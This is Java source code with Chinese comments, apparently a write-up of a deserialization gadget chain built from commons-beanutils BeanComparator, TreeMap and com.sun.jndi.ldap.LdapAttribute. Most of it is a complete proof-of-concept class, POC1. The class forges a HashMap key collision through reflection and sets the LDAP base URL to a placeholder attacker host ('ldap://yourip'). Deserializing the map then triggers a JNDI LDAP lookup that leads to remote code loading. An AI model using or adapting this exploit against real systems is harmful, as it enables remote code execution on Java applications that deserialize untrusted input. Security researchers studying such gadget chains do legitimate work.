private void putForCreate(K var1, V var2) {
    int var3 = var1 == null ? 0 : hash(var1.hashCode());//计算hashcode
    int var4 = indexFor(var3, this.table.length);//根据hashcode计算key在this.table中的索引数

    for(HashMap.Entry var5 = this.table[var4]; var5 != null; var5 = var5.next) {
        Object var6;
        if (var5.hash == var3 && ((var6 = var5.key) == var1 || var1 != null && var1.equals(var6))) {//如果当前的hash与之前key的hash相同，则判断这两个key是否相等，即调用当前key对象的equals()方法来判断。在本gadget中，var1就是AbstractMap对象，但由于这是抽象类，因此使用子类来代替，刚好TreeMap正是其子类。
            var5.value = var2;//如果相等，则更新之前key对应的value
            return;
        }
    }

    ...
}

public DirContext getAttributeDefinition() throws NamingException {
    DirContext var1 = this.getBaseCtx().getSchema(this.rdn);
    return (DirContext)var1.lookup("AttributeDefinition/" + this.getID());
}

new InitialContext().lookup("ldap://ip/exp");

TreeMap tm1 = new TreeMap();
TreeMap tm2 = new TreeMap();
tm1.put("111", "AAA");
tm2.put("111", "AAA");
HashMap hm = new HashMap();
hm.put(tm1, "111");
hm.put(tm2, "222");

import org.apache.commons.beanutils.BeanComparator;
import javax.naming.CompositeName;
import javax.naming.directory.BasicAttribute;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.HashMap;
import java.util.Map;
import java.util.TreeMap;


public class POC1 {
    public static void main(String[] args) {
        try{

            BasicAttribute la = getGadgetObj();//获取LdapAttribute对象

            BeanComparator bc = new BeanComparator("attributeDefinition");

            HashMap hm = new HashMap();
            TreeMap tm1 = new TreeMap(bc);//用于调用get()
            TreeMap tm2 = new TreeMap(bc);//用于调用equals()

            tm1.put("aaa", "AAA");
            tm2.put(la, "BBB");//key处放LdapAttribute对象

            hm.put(tm1, "111");
            hm.put(tm2, "222");

            //弯路，构造HashMap
            Field fi = hm.getClass().getDeclaredField("table");
            fi.setAccessible(true);
            Map.Entry[] hmentry = (Map.Entry[]) fi.get(hm);
            int tablelength = hmentry.length;
            tm1.hashCode();

            Method hash_mt = hm.getClass().getDeclaredMethod("hash", new Class[]{Object.class});
            hash_mt.setAccessible(true);
            Object indexfor_arg1 = hash_mt.invoke(hm, new Object[]{(Object)(new Integer(tm1.hashCode()))});//获取tm1的hashcode

            Method indexfor_mt = hm.getClass().getDeclaredMethod("indexFor", new Class[]{int.class, int.class});
            indexfor_mt.setAccessible(true);
            int final_index = Integer.parseInt(indexfor_mt.invoke(hm, new Object[]{new Integer(indexfor_arg1.toString()), new Integer(tablelength)}).toString());

            Map.Entry me = ((Map.Entry[])hmentry)[final_index];//这是key为tm1的entry

            // System.out.println(me);
            Class entryclazz = Class.forName("java.util.HashMap$Entry");
            Field key_fi = entryclazz.getDeclaredField("key");
            key_fi.setAccessible(true);
            Field modifierField = Field.class.getDeclaredField("modifiers");
            modifierField.setAccessible(true);
            modifierField.setInt(key_fi, key_fi.getModifiers() & ~Modifier.FINAL);//去掉final属性
            key_fi.set(me, tm2.clone());//将HashMap中的key替换成tm2，使两个相同
            //弯路结束

            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(hm);

            System.out.println("trying...");

            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bais);
            HashMap hmhm = (HashMap)ois.readObject();



            System.out.println("end...");

        }catch (Exception e){
            e.printStackTrace();
        }
    }


    public static BasicAttribute getGadgetObj(){
        try{
            Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
            Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class});
            clazz_cons.setAccessible(true);

            BasicAttribute la = (BasicAttribute)clazz_cons.newInstance(new Object[]{"exp"});
            Field bcu_fi = clazz.getDeclaredField("baseCtxURL");
            bcu_fi.setAccessible(true);
            bcu_fi.set(la, "ldap://yourip");

            //不要调用getBaseCtx，否则序列化的时候，baseCtx属性会由于无法类型转换cast导致出错
//            Method gbc_mt = clazz.getDeclaredMethod("getBaseCtx", new Class[]{});
//            gbc_mt.setAccessible(true);
//            DirContext dc_1 = (DirContext)gbc_mt.invoke(la, new Object[]{});

            CompositeName cn = new CompositeName();
            cn.add("a");
            cn.add("b");
            Field rdn_fi = clazz.getDeclaredField("rdn");
            rdn_fi.setAccessible(true);
            rdn_fi.set(la, cn);
            return la;
        }catch (Exception e){
            e.printStackTrace();
        }
        return null;

    }

}